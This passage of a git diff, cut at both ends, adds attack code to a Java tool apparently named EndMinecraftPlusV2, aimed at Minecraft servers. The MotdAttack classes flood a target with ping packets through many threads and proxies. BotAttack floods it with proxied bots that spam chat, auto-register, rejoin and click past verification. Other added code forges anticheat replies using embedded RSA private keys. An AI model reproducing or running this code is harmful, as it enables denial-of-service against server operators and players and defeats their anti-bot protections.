(ProtocolLibs.highVersion) { + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.IAttack motdAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + motdAttack.start(); + } else { + IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + motdAttack.start(); + } + + break; + case 3: + // MotdAttackP + if (ProtocolLibs.highVersion) { + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.IAttack motdAttackP = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + motdAttackP.start(); + } else { + IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + motdAttackP.start(); + } + + break; + case 4: + // DoubleAttack + Map doubleModList = new HashMap<>(); + + if (ProtocolLibs.highVersion) { + if (!cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.isAfterVersion1_13()) { + LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack"); + doubleModList = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion()); + LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack"); + } + + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.DoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList); + attack.setUsername(ConfigUtil.DoubleExploitPlayer); + attack.start(); + } else { + if (!MCForge.isAfterVersion1_13()) { + LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack"); + doubleModList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion()); + LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack"); + } + + DoubleAttack attack = new DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList); + attack.setUsername(ConfigUtil.DoubleExploitPlayer); + attack.start(); + } + + break; + default: + LogUtil.doLog(1, "攻击类型错误,停止运行。", null); + EndMinecraftPlusV2.Exit(); + } + } + + public static String getRandomUser() { + return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size())); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AnotherStarAntiCheat.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AnotherStarAntiCheat.java new file mode 100644 index 0000000..81ad370 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AnotherStarAntiCheat.java @@ -0,0 +1,101 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol; + +import io.netty.buffer.ByteBuf; +import io.netty.buffer.ByteBufInputStream; +import io.netty.buffer.ByteBufOutputStream; +import io.netty.buffer.Unpooled; +import com.github.steveice10.opennbt.NBTIO; +import com.github.steveice10.opennbt.tag.builtin.ByteArrayTag; +import com.github.steveice10.opennbt.tag.builtin.CompoundTag; +import com.github.steveice10.opennbt.tag.builtin.ListTag; + +import javax.crypto.Cipher; +import java.io.*; +import java.math.BigInteger; +import java.security.KeyFactory; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.spec.RSAPrivateKeySpec; +import java.security.spec.RSAPublicKeySpec; +import java.util.HashSet; + +public class AnotherStarAntiCheat { + private final RSAPublicKeySpec clientPublicKey; + private final RSAPrivateKeySpec clientPrivateKey; + private final RSAPrivateKeySpec serverPrivateKey; + private final Cipher clientPublicCipher; + private final Cipher clientPrivateCipher; + + { + clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537")); + clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633")); + serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153")); + + try { + (clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey)); + (clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey)); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private void ctsEncode(ByteBuf buf, byte[][] md5s) { + try { + CompoundTag nbt = new CompoundTag(""); + ListTag strList = new ListTag("md5s", ByteArrayTag.class); + for (final byte[] md5 : md5s) { + strList.add(new ByteArrayTag("", md5)); + } + nbt.put(strList); + NBTIO.writeTag((OutputStream) new DataOutputStream(new ByteBufOutputStream(buf)), nbt); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private byte[] stcDecode(ByteBuf buf) { + try { + CompoundTag nbt = (CompoundTag) NBTIO.readTag((InputStream) new DataInputStream(new ByteBufInputStream(buf))); + return ((ByteArrayTag) nbt.get("salt")).getValue(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + public byte[] encodeCPacket(String[] md5s, String salt) { + try { + HashSet rsaMd5s = new HashSet(); + for (String md5 : md5s) { + rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes())); + } + + ByteBuf buf = Unpooled.buffer(); + buf.writeByte(1); // packet id + ctsEncode(buf, rsaMd5s.toArray(new byte[0][])); + return buf.array(); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public String decodeSPacket(byte[] data) { + try { + ByteBuf buf = Unpooled.copiedBuffer(data); + buf.readByte(); // packet id + return new String(clientPrivateCipher.doFinal(stcDecode(buf))); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public String md5(String str) { + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(str.getBytes()); + byte[] digest = md.digest(); + return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)); + } catch (NoSuchAlgorithmException e) { + return null; + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AntiCheat3.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AntiCheat3.java new file mode 100644 index 0000000..9c29711 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AntiCheat3.java @@ -0,0 +1,81 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol; + +import java.io.*; +import java.math.BigInteger; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +public class AntiCheat3 { + + public byte[] getCheckData(String acFile, String code, String[] md5List) { + try { + byte[] buf1 = code.substring(0, 30).getBytes(); + + FileInputStream in = new FileInputStream(new File("lib", acFile)); + byte[] buf2 = new byte[in.available()]; + in.read(buf2); + + byte[] buf3 = new byte[buf1.length + buf2.length]; + System.arraycopy(buf1, 0, buf3, 0, buf1.length); + System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length); + + try { + in.close(); + } catch (IOException e2) { + } + + String result = ""; + if (md5List != null) { + for (String md5 : md5List) { + result += md5 + ","; + } + } + result += md5(buf3); + return compress(result); + } catch (IOException e) { + e.printStackTrace(); + return null; + } + } + + public byte[] compress(String str) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPOutputStream gzip; + try { + gzip = new GZIPOutputStream(out); + gzip.write(str.getBytes()); + gzip.close(); + } catch (IOException e) { + } + return out.toByteArray(); + } + + public String uncompress(byte[] data) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(data); + try { + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + } catch (IOException e) { + } + + return new String(out.toByteArray()); + } + + public String md5(byte[] buf) { + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(buf); + byte[] digest = md.digest(); + return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)); + } catch (NoSuchAlgorithmException e) { + return null; + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/BotAttack.java new file mode 100644 index 0000000..b3e2af1 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/BotAttack.java @@ -0,0 +1,378 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods; + +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; +import cn.serendipityr.EndMinecraftPlusV2.Tools.*; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; +import io.netty.util.internal.ConcurrentSet; +import com.github.steveice10.mc.protocol.MinecraftProtocol; +import com.github.steveice10.mc.protocol.data.message.Message; +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; +import com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; +import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; +import com.github.steveice10.packetlib.Client; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.event.session.*; +import com.github.steveice10.packetlib.packet.Packet; +import com.github.steveice10.packetlib.tcp.TcpSessionFactory; + +import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.util.*; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +public class BotAttack extends IAttack { + public static HashMap clientName = new HashMap<>(); + public static int failed = 0; + public static int joined = 0; + public static int rejoin = 0; + public static int clickVerifies = 0; + public static List alivePlayers = new ArrayList<>(); + protected boolean attack_motdbefore; + protected boolean attack_tab; + protected Map modList; + + private Thread mainThread; + private Thread tabThread; + private Thread taskThread; + + public Set clients = new ConcurrentSet<>(); + public ExecutorService pool = Executors.newCachedThreadPool(); + + private static final AntiCheat3 ac3 = new AntiCheat3(); + private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat(); + + private long starttime; + + public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void setBotConfig(boolean motdbefore, boolean tab, Map modList) { + this.attack_motdbefore = motdbefore; + this.attack_tab = tab; + this.modList = modList; + } + + public String getRandMessage(String userName) { + return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName))); + } + + public void start() { + setTask(() -> { + while (true) { + for (Client c : clients) { + if (c.getSession().isConnected()) { + if (c.getSession().hasFlag("login")) { + if (ConfigUtil.ChatSpam) { + c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c)))); + } + + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } else if (c.getSession().hasFlag("join")) { + if (ConfigUtil.RegisterAndLogin) { + for (String cmd:ConfigUtil.RegisterCommands) { + c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } + } + + c.getSession().setFlag("login", true); + } + } + } + OtherUtils.doSleep(5 * 1000); + } + }); + + this.starttime = System.currentTimeMillis(); + + mainThread = new Thread(() -> { + while (true) { + try { + cleanClients(); + createClients(ip, port); + OtherUtils.doSleep(10 * 1000); + + if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { + for (Client c : clients) { + c.getSession().disconnect(""); + } + stop(); + return; + } + LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + }); + + if (this.attack_tab) { + tabThread = new Thread(() -> { + while (true) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); + + for (Client c : clients) { + if (c.getSession().isConnected() && c.getSession().hasFlag("join")) { + MultiVersionPacket.sendTabPacket(c.getSession(), "/"); + } + } + + OtherUtils.doSleep(10); + } + }); + } + + mainThread.start(); + if (tabThread != null) + tabThread.start(); + if (taskThread != null) + taskThread.start(); + } + + @SuppressWarnings("deprecation") + public void stop() { + mainThread.stop(); + if (tabThread != null) + tabThread.stop(); + if (taskThread != null) + taskThread.stop(); + } + + public void setTask(Runnable task) { + taskThread = new Thread(task); + } + + private void cleanClients() { + clients.removeIf(c -> !c.getSession().isConnected()); + } + + private void createClients(final String ip, int port) { + Proxy.Type proxyType; + switch (ConfigUtil.ProxyType) { + case 2: + proxyType = Proxy.Type.SOCKS; + break; + case 1: + default: + proxyType = Proxy.Type.HTTP; + break; + } + + for (String p: ProxyUtil.proxies) { + try { + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Client client = createClient(ip, port, User[0], proxy); + client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + clientName.put(client, User[0]); + clients.add(client); + ProxyUtil.clientsProxy.put(client.getSession(), proxy); + + if (this.attack_motdbefore) { + pool.submit(() -> { + getMotd(proxy, ip, port); + client.getSession().connect(false); + }); + } else { + client.getSession().connect(false); + } + + if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) + return; + if (this.attack_joinsleep > 0) + OtherUtils.doSleep(attack_joinsleep); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + } + + public Client createClient(final String ip, int port, final String username, Proxy proxy) { + Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy)); + new MCForge(client.getSession(), this.modList).init(); + + client.getSession().addListener(new SessionListener() { + public void packetReceived(PacketReceivedEvent e) { + handlePacket(e.getSession(), e.getPacket(), username); + } + + public void packetSending(PacketSendingEvent packetSendingEvent) { + + } + + public void packetSent(PacketSentEvent e) { + } + + public void connected(ConnectedEvent e) { + } + + public void disconnecting(DisconnectingEvent e) { + } + + public void disconnected(DisconnectedEvent e) { + String msg; + + if (e.getCause() == null) { + msg = e.getReason(); + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(proxy); + } + + for (String rejoinDetect:ConfigUtil.RejoinDetect) { + if (msg.contains(rejoinDetect)) { + for (int i = 0; i < ConfigUtil.RejoinCount; i++) { + Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); + rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + + rejoin++; + LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); + clientName.put(rejoinClient, username); + clients.add(rejoinClient); + rejoinClient.getSession().connect(false); + + OtherUtils.doSleep(ConfigUtil.RejoinDelay); + + if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { + break; + } + } + } + } + } else if (ConfigUtil.ShowFails) { + msg = e.getCause().getMessage(); + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); + } + + failed++; + alivePlayers.remove(username); + + client.getSession().disconnect(""); + clients.remove(client); + } + }); + return client; + } + + public void getMotd(Proxy proxy, String ip, int port) { + try { + Socket socket = new Socket(proxy); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + OutputStream out = socket.getOutputStream(); + InputStream in = socket.getInputStream(); + out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); + out.write(new byte[]{0x01, 0x00}); + out.flush(); + in.read(); + + try { + in.close(); + out.close(); + socket.close(); + } catch (Exception ignored) {} + + return; + } + socket.close(); + } catch (Exception ignored) {} + } + + protected void handlePacket(Session session, Packet recvPacket, String username) { + if (recvPacket instanceof ServerPluginMessagePacket) { + ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; + switch (packet.getChannel()) { + case "AntiCheat3.4.3": + String code = ac3.uncompress(packet.getData()); + byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, + new String[]{"44f6bc86a41fa0555784c255e3174260"}); + session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData)); + break; + case "anotherstaranticheat": + String salt = asac.decodeSPacket(packet.getData()); + byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); + session.send(new ClientPluginMessagePacket("anotherstaranticheat", data)); + break; + case "VexView": + if (new String(packet.getData()).equals("GET:Verification")) + session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes())); + break; + default: + } + } else if (recvPacket instanceof ServerJoinGamePacket) { + session.setFlag("join", true); + LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); + joined++; + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session)); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + + MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); + MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1); + } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) { + try { + ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); + session.send(new ClientPlayerMovementPacket(true)); + MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet); + } catch (Exception ignored) {} + + } else if (recvPacket instanceof ServerChatPacket) { + ServerChatPacket chatPacket = (ServerChatPacket) recvPacket; + clickVerifiesHandle(chatPacket.getMessage(), session, username); + } + } + + public static void clickVerifiesHandle(Message message, Session session, String username) { + boolean needClick = false; + + if (message.getStyle().getClickEvent() != null) { + for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) { + if (message.getText().contains(clickVerifiesDetect)) { + needClick = true; + break; + } + } + } + + if (needClick) { + LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack"); + session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue())); + clickVerifies++; + } else { + if (!message.getText().equals("")) { + LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack"); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } + + if (message.getExtra() != null && !message.getExtra().isEmpty()) { + for (Message extraMessage:message.getExtra()) { + clickVerifiesHandle(extraMessage, session, username); + } + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/DoubleAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/DoubleAttack.java new file mode 100644 index 0000000..c3f1d5f --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/DoubleAttack.java @@ -0,0 +1,37 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; +import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket; +import com.github.steveice10.packetlib.Client; +import com.github.steveice10.packetlib.Session; +import com.github.steveice10.packetlib.packet.Packet; + +import java.net.Proxy; + +public class DoubleAttack extends BotAttack { + private String username; + private Integer totalTimes = 0; + private Integer runTimes = 0; + + public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void setUsername(String username) { + this.username = username; + } + + public Client createClient(String ip, int port, String username, Proxy proxy) { + totalTimes++; + return super.createClient(ip, port, this.username, proxy); + } + + protected void handlePacket(Session session, Packet recvPacket, String username) { + super.handlePacket(session, recvPacket, username); + if (recvPacket instanceof ServerJoinGamePacket) { + session.disconnect("Double Exploit - Connection Reset!"); + runTimes++; + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次"); + } + } +} \ No newline at end of file diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/IAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/IAttack.java new file mode 100644 index 0000000..149790b --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/IAttack.java @@ -0,0 +1,22 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods; + +public abstract class IAttack { + public String ip; + public int port; + + public int attack_time; + public int attack_maxconnect; + public long attack_joinsleep; + + public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + this.ip = ip; + this.port = port; + this.attack_time = time; + this.attack_maxconnect = maxconnect; + this.attack_joinsleep = joinsleep; + } + + public abstract void start(); + + public abstract void stop(); +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttack.java new file mode 100644 index 0000000..bfa0b3b --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttack.java @@ -0,0 +1,73 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; +import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.util.ArrayList; +import java.util.List; + +public class MotdAttack extends IAttack { + public List threads = new ArrayList<>(); + private int runTimes = 0; + private int errorTimes = 0; + public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void start() { + Runnable task = () -> { + while (true) { + try { + Socket socket = new Socket(); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName()); + OutputStream out = socket.getOutputStream(); + out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 }); + out.flush(); + while (socket.isConnected()) { + for (int i = 0; i < 10; i++) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes); + out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 }); + runTimes++; + } + out.flush(); + } + try { + out.close(); + socket.close(); + } catch (IOException ignored) {} + LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName()); + OtherUtils.doSleep(attack_joinsleep); + } + } catch (Throwable e) { + LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName()); + errorTimes++; + } + } + }; + + if (this.attack_maxconnect < 1) { + this.attack_maxconnect = 10; + } + + for (int i = 0; i < this.attack_maxconnect; i++) { + Thread thread = new Thread(task); + thread.setName(String.valueOf(i + 1)); + thread.start(); + threads.add(thread); + } + } + + @SuppressWarnings("deprecation") + public void stop() { + threads.forEach(Thread::stop); + } + +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttackP.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttackP.java new file mode 100644 index 0000000..c9c914c --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttackP.java @@ -0,0 +1,92 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.*; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.util.ArrayList; +import java.util.List; + +public class MotdAttackP extends IAttack { + public List threads = new ArrayList<>(); + private int runTimes = 0; + private int errorTimes = 0; + + public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void start() { + Proxy.Type proxyType; + switch (ConfigUtil.ProxyType) { + case 2: + proxyType = Proxy.Type.SOCKS; + break; + case 1: + default: + proxyType = Proxy.Type.HTTP; + break; + } + + for (String p: ProxyUtil.proxies) { + try { + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + Thread thread = createThread(proxy, ip, port); + thread.start(); + threads.add(thread); + if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) + return; + } catch (Exception e) { + LogUtil.doLog(1,"发生错误: " + e, null); + } + } + } + + @SuppressWarnings("deprecation") + public void stop() { + threads.forEach(Thread::stop); + } + + public Thread createThread(Proxy proxy, String ip, int port) { + Runnable task = () -> { + while (true) { + try { + Socket socket = new Socket(proxy); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName()); + OutputStream out = socket.getOutputStream(); + out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); + out.flush(); + while (socket.isConnected()) { + for (int i = 0; i < 10; i++) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes); + out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 